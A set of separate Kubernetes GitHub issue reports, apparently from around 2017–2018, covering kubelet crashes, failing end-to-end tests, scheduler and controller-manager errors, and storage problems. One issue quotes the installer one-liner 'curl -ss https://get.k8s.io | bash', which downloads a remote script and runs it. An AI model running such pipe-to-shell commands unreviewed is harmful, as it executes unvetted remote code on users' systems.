density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-\r 1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r i0308 12:44:57.909490       9 kuberuntime_manager.go:558  syncpod received new pod \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , will create a new sandbox for it\r i0308 12:44:57.909521       9 kuberuntime_manager.go:567  stopping podsandbox for \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , will start new one\r i0308 12:44:57.909561       9 kuberuntime_manager.go:613  creating sandbox for pod \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r i0308 12:44:58.017948       9 kuberuntime_gc.go:133  removing sandbox \ 88d185ba4599ed5e\ \r    \r \r the sandbox was gc'd right after it was created. this led to kubelet killing all the containers in the pod since the sandbox needed to be recreated. \r \r need to check whether this was caused by the container state emulated by fakedockerclient, or by a real bug.\r \r /cc @feiskyer @random-liu \r

the deployment overlap annotation   deployment.kubernetes.io/error-selector-overlapping-with   is no longer populated nor used by 1.6+ on the server side. however, in  43239 we maintained knowledge of the annotation for 1.6 clients in case they talk to pre-1.6 servers. that pr also adds code to clean up the annotation whenever it's found in 1.6+ clusters, so that pre-1.6 clients don't see it and make the wrong assumptions.\r \r the code handling this annotation should be removed when all the following conditions are met:\r   we no longer support a 1.5.x client talking to the latest server version.\r   we no longer support upgrading the server directly from 1.5.x to the latest version.\r \r the soonest milestone that meets both conditions according to the  versioning guidelines  https://github.com/kubernetes/community/blob/854e9518703851ec79e26a47d46a0c70d829fe37/contributors/design-proposals/versioning.md  is   v1.8  . this issue should be moved to that milestone once it exists.

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r according to discussion at https://github.com/kubernetes/client-go/issues/136  , we'd like to upgrade  kubelet  &  scheduler  to use client-go after lister, informer is ready.\r \r /cc @caesarxuchao @deads2k

https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-serial\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216\r jun 15 07:53:03.716: error waiting for all pods to be running and ready: 4 / 26 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                    node                            phase   grace conditions\r fluentd-gcp-v2.0-7s2bv bootstrap-e2e-minion-group-lc41 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:47 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:47:50 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:56 -0700 pdt  } \r fluentd-gcp-v2.0-9gm87 bootstrap-e2e-minion-group-kb2k running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:12 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:47:16 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:22 -0700 pdt  } \r fluentd-gcp-v2.0-gwmv3 bootstrap-e2e-master            running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:10 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:47:36 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:32 -0700 pdt  } \r fluentd-gcp-v2.0-l4bn0 bootstrap-e2e-minion-group-nlwz running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:12 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:47:46 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-15 07:36:22 -0700 pdt  } \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:167\r    \r \r @kubernetes/kubernetes-release-managers @dchen1107

while running scalability tests today  as part of https://github.com/kubernetes/kubernetes/issues/47344  on a 4000-node gce cluster, this happened during density test termination. currently, load test is running.\r it failed due to some density pod's condition not being updated and on digging up a bit turned out a couple of kubelets  one where the pod was running  crashed:\r \r    \r i0621 08:08:26.374  jun 21 08:08:26.372: info: waiting up to 3m0s for all  but 50  nodes to be ready\r i0621 08:08:27.435  jun 21 08:08:27.435: info: condition ready of node e2e-enormous-cluster-minion-group-1-xdwx is false instead of true. reason: nodestatusunknown, message: kubelet stopped posting node status.\r i0621 08:08:27.437  jun 21 08:08:27.437: info: condition ready of node e2e-enormous-cluster-minion-group-nxl2 is false instead of true. reason: nodestatusunknown, message: kubelet stopped posting node status.\r ..... repeats\r    \r \r from the kernel logs:\r    \r jun 21 14:52:07.298991 e2e-enormous-cluster-minion-group-nxl2 kernel: out of memory: kill process 13774  event-exporter  score 1684 or sacrifice child\r jun 21 14:52:07.312821 e2e-enormous-cluster-minion-group-nxl2 kernel: killed process 13774  event-exporter  total-vm:1268972kb, anon-rss:1193588kb, file-rss:0kb\r jun 21 15:09:02.204129 e2e-enormous-cluster-minion-group-nxl2 kernel: fluentd invoked oom-killer: gfp_mask=0x24201ca, order=0, oom_score_adj=883\r jun 21 15:09:02.298774 e2e-enormous-cluster-minion-group-nxl2 kernel: fluentd cpuset=1e88c29d9ecdec0d6d2e380aa6cf9c7b11db5a60b0bda35ac2b3694a58232b47 mems_allowed=0\r ..\r ..\r jun 21 17:06:42.055581 e2e-enormous-cluster-minion-group-nxl2 kernel: memory cgroup out of memory: kill process 16497  ip-masq-agent  score 1463 or sacrifice child\r jun 21 17:06:42.055604 e2e-enormous-cluster-minion-group-nxl2 kernel: killed process 22398  iptables-restor  total-vm:25744kb, anon-rss:3660kb, file-rss:0kb\r jun 21 17:07:46.960055 e2e-enormous-cluster-minion-group-nxl2 kernel: iptables-restor invoked oom-killer: gfp_mask=0x24000c0, order=0, oom_score_adj=996\r jun 21 17:07:46.960183 e2e-enormous-cluster-minion-group-nxl2 kernel: iptables-restor cpuset=8f72983ec1d83e25928f29a8b1ad953265489b4bf721e922db68bd70b11f2f31 mems_allowed=0\r ..\r ..\r jun 21 17:08:39.596296 e2e-enormous-cluster-minion-group-nxl2 kernel: memory cgroup out of memory: kill process 23412  iptables  score 1866 or sacrifice child\r jun 21 17:08:39.596318 e2e-enormous-cluster-minion-group-nxl2 kernel: killed process 23412  iptables  total-vm:23460kb, anon-rss:7460kb, file-rss:4kb\r jun 21 17:08:43.074466 e2e-enormous-cluster-minion-group-nxl2 kernel: iptables invoked oom-killer: gfp_mask=0x24000c0, order=0, oom_score_adj=996\r jun 21 17:08:43.074553 e2e-enormous-cluster-minion-group-nxl2 kernel: iptables cpuset=db1fd653a6e6cd30ed40ddf44828ad5159f83e75a02bee69bf8c648335b75e7e mems_allowed=0\r    \r \r the cluster is still running and to reach the node:\r  gcloud compute ssh e2e-enormous-cluster-minion-group-nxl2 --project kubernetes-scale --zone us-east1-a \r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc @dchen1107 @yujuhong @gmarek

 how to get the service token from kubernetes controller manager pod to talk to kuber api?\r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r after starting kubernetes controller manager, i get the following error:\r \\-----------------\r   e0726   11:55:39.362927       1 controllermanager.go:494    failed to start service controller  : warning: no cloud provider provided, services of type loadbalancer will fail.\r \\-----------------\r \r   what you expected to happen  :\r get a warning message rather than a error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start service controller without cloud provider\r     --cloud-config=\r     - --cloud-provider=\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.6.4\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /assign\r \r   what happened  :\r \r for such a pod,\r \r    json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ statefulset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ web\\\ ,\\\ uid\\\ :\\\ 3599ae6e-b7b1-11e7-a673-023e88328eba\\\ ,\\\ apiversion\\\ :\\\ apps/v1beta1\\\ ,\\\ resourceversion\\\ :\\\ 2328\\\ }}\ \ \r         },\r         \ creationtimestamp\ : \ 2017-10-23t05:15:39z\ ,\r         \ deletiongraceperiodseconds\ : 10,\r         \ deletiontimestamp\ : \ 2017-10-23t08:22:52z\ ,\r         \ generatename\ : \ web-\ ,\r         \ labels\ : {\r             \ app\ : \ nginx\ ,\r             \ controller-revision-hash\ : \ web-68cf95767f\ \r         },\r         \ name\ : \ web-0\ ,\r         \ namespace\ : \ default\ ,\r         \ ownerreferences\ :  \r             {\r                 \ apiversion\ : \ apps/v1beta1\ ,\r                 \ blockownerdeletion\ : true,\r                 \ controller\ : true,\r                 \ kind\ : \ statefulset\ ,\r                 \ name\ : \ web\ ,\r                 \ uid\ : \ 3599ae6e-b7b1-11e7-a673-023e88328eba\ \r             }\r          ,\r         \ resourceversion\ : \ 15884\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/web-0\ ,\r         \ uid\ : \ 359b76da-b7b1-11e7-a673-023e88328eba\ \r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ image\ : \ gcr.io/google_containers/nginx-slim:0.8\ ,\r                 \ imagepullpolicy\ : \ ifnotpresent\ ,\r                 \ name\ : \ nginx\ ,\r                 \ ports\ :  \r                     {\r                         \ containerport\ : 80,\r                         \ name\ : \ web\ ,\r                         \ protocol\ : \ tcp\ \r                     }\r                  ,\r                 \ resources\ : {},\r                 \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ terminationmessagepolicy\ : \ file\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                         \ name\ : \ default-token-q26fw\ ,\r                         \ readonly\ : true\r                     }\r                  \r             }\r          ,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ hostname\ : \ web-0\ ,\r         \ nodename\ : \ server-02\ ,\r         \ restartpolicy\ : \ always\ ,\r         \ schedulername\ : \ default-scheduler\ ,\r         \ securitycontext\ : {},\r         \ serviceaccount\ : \ default\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ subdomain\ : \ nginx\ ,\r         \ terminationgraceperiodseconds\ : 10,\r         \ tolerations\ :  \r             {\r                 \ effect\ : \ noexecute\ ,\r                 \ key\ : \ node.alpha.kubernetes.io/notready\ ,\r                 \ operator\ : \ exists\ ,\r                 \ tolerationseconds\ : 300\r             },\r             {\r                 \ effect\ : \ noexecute\ ,\r                 \ key\ : \ node.alpha.kubernetes.io/unreachable\ ,\r                 \ operator\ : \ exists\ ,\r                 \ tolerationseconds\ : 300\r             }\r          ,\r         \ volumes\ :  \r             {\r                 \ name\ : \ default-token-q26fw\ ,\r                 \ secret\ : {\r                     \ defaultmode\ : 420,\r                     \ secretname\ : \ default-token-q26fw\ \r                 }\r             }\r          \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-10-23t05:15:39z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-10-23t05:16:03z\ ,\r                 \ status\ : \ false\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-10-23t05:15:39z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r         \ containerstatuses\ :  \r             {\r                 \ containerid\ : \ docker://d3d1dc99ba5f6a29870f94fe2ad41124fe5326955973d736a65740841d03e118\ ,\r                 \ image\ : \ gcr.io/google_containers/nginx-slim:0.8\ ,\r                 \ imageid\ : \ docker-pullable://gcr.io/google_containers/nginx-slim@sha256:8b4501fe0fe221df663c22e16539f399e89594552f400408303c42f3dd8d0e52\ ,\r                 \ laststate\ : {},\r                 \ name\ : \ nginx\ ,\r                 \ ready\ : true,\r                 \ restartcount\ : 0,\r                 \ state\ : {\r                     \ running\ : {\r                         \ startedat\ : \ 2017-10-23t05:16:03z\ \r                     }\r                 }\r             }\r          ,\r         \ hostip\ : \ 10.0.2.15\ ,\r         \ message\ : \ node server-02 which was running pod web-0 is unresponsive\ ,\r         \ phase\ : \ running\ ,\r         \ podip\ : \ 172.17.0.2\ ,\r         \ qosclass\ : \ besteffort\ ,\r         \ reason\ : \ nodelost\ ,\r         \ starttime\ : \ 2017-10-23t05:15:39z\ \r     }\r }\r    \r \r kubectl get pod will show \r \r    \r   kubectl get pod web-0 \r name      ready     status    restarts   age\r web-0     1/1       unknown   0          4h\r    \r \r   what you expected to happen  :\r the  status.reason  is  nodelost , it should display  nodelost  instead of  unknown .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

a race condition between fakeremote.start   is spawned as a goroutine to listen for connections, and its caller assumes that the listener will immediately be ready to accept connections.  this leads to intermittent test failures if the caller attempts before the fake remote runtime is ready to listen.  the code needs to be refactored so that the fake remote returns from listen, and then spawns the server as a goroutine and returns.\r \r this can be reproduced by running the remote_runtime_test in a loop; it fails periodically.  failure can be accelerated by putting a time.sleep 1000 1000 1000  in fake.start   immediately before the call to util.createlistener; the failure is then effectively deterministic.\r \r fix tested by running about 150,000 iterations without observing any failures.

this came up as a follow up to https://github.com/kubernetes/kubernetes/pull/69929\r \r also rather than opening 5 different issues - we are going to use this github issue to track all follow up items mentioned here - https://github.com/kubernetes/kubernetes/pull/69929 issuecomment-438897594\r \r

i see many of shorthand flags in kubectl are deprecated, we should remove them gradually.   i think -c shorthand for --client in version is least used, we could remove it firstly. @kubernetes/kubectl

i have a deployment resource named:  helloworld , with labels  app=helloworld,version=1  i want to replace the deployment with a new version of image, but with an updated label,  version=2   this seem to be impossible to do. if i do:  kubectl apply -f deployment-v2.yaml , it'll tell me selector doesn't match template labels.  if i do  kubectl replace deployment helloworld -f deployment-v2.yaml , it'll in fact replace the deployment resource, and create a new replicaset, and create new pods with the new labels. but the old replicaset and the old pods with the  version=1  label are not removed.  should the replace operation also remove any old replicaset/pods associated with the previous deployment?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/2510/  failed:  k8s.io  serviceaccounts should ensure a single api token exists {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_accounts.go:153 expected error:     < errors.errorstring | 0xc420ffc1a0>: {         s: \ default service account has too many secret references:   api.objectreference{api.objectreference{kind:\\\ \\\ , namespace:\\\ \\\ , name:\\\ default-token-76fw6\\\ , uid:\\\ \\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ }, api.objectreference{kind:\\\ \\\ , namespace:\\\ \\\ , name:\\\ default-token-nywqu\\\ , uid:\\\ \\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ }}\ ,     }     default service account has too many secret references:   api.objectreference{api.objectreference{kind:\ \ , namespace:\ \ , name:\ default-token-76fw6\ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, api.objectreference{kind:\ \ , namespace:\ \ , name:\ default-token-nywqu\ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }} not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_accounts.go:103       previous issues for this test:  31889

export kubernetes_provider=aws; curl -ss https://get.k8s.io | bash  does not start a cluster on aws with the latest release. this is mentioned at https://kubernetes.io/docs/getting-started-guides/aws/.\r \r it just shows the output as:\r \r    \r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   161  100   161    0     0    474      0 --:--:-- --:--:-- --:--:--   474\r 100     7  100     7    0     0     13      0 --:--:-- --:--:-- --:--:--    13\r found preexisting kubernetes.tar.gz, release v1.6.0\r using preexisting kubernetes.tar.gz\r is this ok?  y /n\r unpacking kubernetes release v1.6.0\r kubernetes release: v1.6.0\r server: linux/amd64   to override, set kubernetes_server_arch \r client: darwin/amd64   autodetected \r \r will download kubernetes-server-linux-amd64.tar.gz from https://storage.googleapis.com/kubernetes-release/release/v1.6.0\r will download and extract kubernetes-client-darwin-amd64.tar.gz from https://storage.googleapis.com/kubernetes-release/release/v1.6.0\r is this ok?  y /n\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100  346m  100  346m    0     0  3647k      0  0:01:37  0:01:37 --:--:-- 3952k\r \r md5sum kubernetes-server-linux-amd64.tar.gz =0707dd10f1b509dc2319214eb70de8bf\r sha1sum kubernetes-server-linux-amd64.tar.gz =55eb9756ac1a4d69b26b92560c0431737209967f\r \r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 28.7m  100 28.7m    0     0  3345k      0  0:00:08  0:00:08 --:--:-- 3050k\r \r md5sum kubernetes-client-darwin-amd64.tar.gz =5e8a197ddf13e3a970a26f1070efd156\r sha1sum kubernetes-client-darwin-amd64.tar.gz =b220dc145a50ef1f340da70a693748ee192d376b\r \r extracting /users/arungupta/tmp/kubernetes/client/kubernetes-client-darwin-amd64.tar.gz into /users/arungupta/tmp/kubernetes/platforms/darwin/amd64\r add '/users/arungupta/tmp/kubernetes/client/bin' to your path to use newly-installed binaries.\r    \r \r starting the cluster manually using  cluster/kube-up.sh  shows:\r \r    \r warning: the bash deployment for aws is obsolete. the\r v1.5.x releases are the last to support cluster/kube-up.sh with aws.\r for a list of viable alternatives, see:\r \r   http://kubernetes.io/docs/getting-started-guides/aws/\r    \r \r this message should've been displayed at the very first place itself.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   what happened  :\r as of now, we have performance tests for nodeaffinity and density tests in scheduler perf. to simulate complex scheduling scenarios we need to have other priorities as well.\r \r   what you expected to happen  :\r include taints & tolerations in scheduler_perf.\r \r

gci-gce-serial has been failing since june 4th.\r \r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-serial&width=5\r \r seens a lot of different test failures that look like kube-system isn't coming up.\r \r a bunch are looping on kube-dns not being ready.\r \r    \r i0607 21:11:47.198  jun  7 21:11:47.198: info: the status of pod kube-dns-2836479273-kr3f4 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0607 21:11:47.199  jun  7 21:11:47.198: info: the status of pod kube-dns-2836479273-mk7q5 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0607 21:11:47.199  jun  7 21:11:47.198: info: the status of pod kubernetes-dashboard-1971317102-1475c is running  ready = false , waiting for it to be either running  with ready = true  or failed\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1210?log log\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1208?log log\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1209?log log\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1207?log log\r \r am diving into the kubelet logs to try to see what's going on and identify a sig.\r \r cc @kubernetes/kubernetes-release-managers

ran into a local environment issue when running things through the build/ scripts and docker images. when running docker ce for mac 17.06, i found there was a functionality change on  docker wait .. previously if the container specified didn't exist,  docker wait  would just exit with an error and a non-zero status. however, on 17.06, the command  and the build/ script  hangs and doesn't exit.\r \r  docker wait  is used here: https://github.com/kubernetes/kubernetes/blob/733bb2c31d84f8d1c153d7115a21d5d5c7607cc7/build/common.sh l387\r \r upstream issue opened: https://github.com/moby/moby/issues/33948\r \r /area build-release\r  /assign\r cc: @ixdy @luxas @sttts

 \r   what happened  :\r with https://github.com/kubernetes/kubernetes/pull/43586, \r the controller manager will accept ipv6 addresses\r with the  --cluster-cidr flag.\r the prefix length is currently limited to /64 with\r maxprefixlength = 64\r \r \r   what you expected to happen  :\r the question here is if this limit should be removed, and allow a greater\r prefix size or if this limit should remain.\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r giving the kube-controller-manager --cluster-cidr a value of 65 or greater\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r bug report\r  \r \r pvc is stuck in pending state after configuring pvc+rbd\r \r expected to have any meaningful message\r \r    \r > apiversion: storage.k8s.io/v1\r > kind: storageclass\r > metadata:\r >    name: slow\r > provisioner: kubernetes.io/rbd\r > parameters:\r >     monitors: 127.0.0.1:6789\r >     adminid: admin\r >     adminsecretname: ceph-secret-admin\r >     adminsecretnamespace: \ kube-system\ \r >     pool: kube\r >     userid: kube\r >     usersecretname: ceph-secret-user\r    \r \r    \r > {\r >   \ kind\ : \ persistentvolumeclaim\ ,\r >   \ apiversion\ : \ v1\ ,\r >   \ metadata\ : {\r >     \ name\ : \ claim1\ \r >   },\r >   \ spec\ : {\r >     \ accessmodes\ :  \r >       \ readwriteonce\ \r >      ,\r >     \ resources\ : {\r >       \ requests\ : {\r >         \ storage\ : \ 3gi\ \r >       }\r >     },\r >     \ storageclassname\ : \ slow\ \r >   }\r > }\r    \r \r    \r > root@ubuntu:~  kubectl describe pvc\r > name:          claim1\r > namespace:     default\r > storageclass:  fast\r > status:        pending\r > volume:        \r > labels:        <none>\r > annotations:   volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/rbd\r > capacity:      \r > access modes:  \r > events:        <none>\r > \r    \r \r i am using kubeadm and\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r

\r $ k attach -ti init-ctr-demo\r if you don't see a command prompt, try pressing enter.\r                                                       error: unable to upgrade connection: container busybox not found in pod init-ctr-demo_demos\r $ k get pods\r name            ready     status        restarts   age\r init-ctr-demo   0/1       terminating   1          2m\r    \r \r first, the formatting.\r \r second, \ init-ctr-demo_demos\  is an internal artifact, not fit for human-facing errors.\r \r third, the container does exist, it's just in a terminating state.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r after i add metrics for k8s cluster i notice that for some reason one of the node sometime have status unknown for very short time, not more that 1 minute. also at the same time  pods and replicas number decreased, but then when node appear with status ready pods are back without any restarts.\r after digging i notice that when node is in unknown status or when number of replica in status ready is decreased there is error in log like this below. this problem can appear on any server in the cluster, but always exist only on one server, and never on two or more simultaneously. i tried to install newest version of etcd and k8s but no luck\r    \r january 9th 2018, 13:40:54.840 | , diff2={\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2018-01-09t11:40:54z\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2018-01-09t11:40:54z\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2018-01-09t11:40:54z\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2018-01-09t11:40:54z\ ,\ type\ :\ ready\ } }}\r january 9th 2018, 13:40:54.840 | diff1={\ metadata\ :{\ resourceversion\ :\ 2730056\ },\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lasttransitiontime\ :\ 2018-01-09t11:40:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ memorypressure\ },{\ lasttransitiontime\ :\ 2018-01-09t11:40:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ diskpressure\ },{\ lasttransitiontime\ :\ 2018-01-09t11:40:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ ready\ } }}\r january 9th 2018, 13:40:54.839 | e0109 03:40:54.839154    5223 kubelet_node_status.go:383  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:40:54z\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:40:54z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:40:54z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:40:54z\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ elasticsearch-ca-ovh-18\ : operation cannot be fulfilled on nodes \ elasticsearch-ca-ovh-18\ : there is a meaningful conflict  firstresourceversion: \ 2730043\ , currentresourceversion: \ 2730056\  :\r january 9th 2018, 13:37:54.666 | diff1={\ metadata\ :{\ resourceversion\ :\ 2729772\ },\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lasttransitiontime\ :\ 2018-01-09t11:37:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ memorypressure\ },{\ lasttransitiontime\ :\ 2018-01-09t11:37:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ diskpressure\ },{\ lasttransitiontime\ :\ 2018-01-09t11:37:54z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ ready\ } }}\r 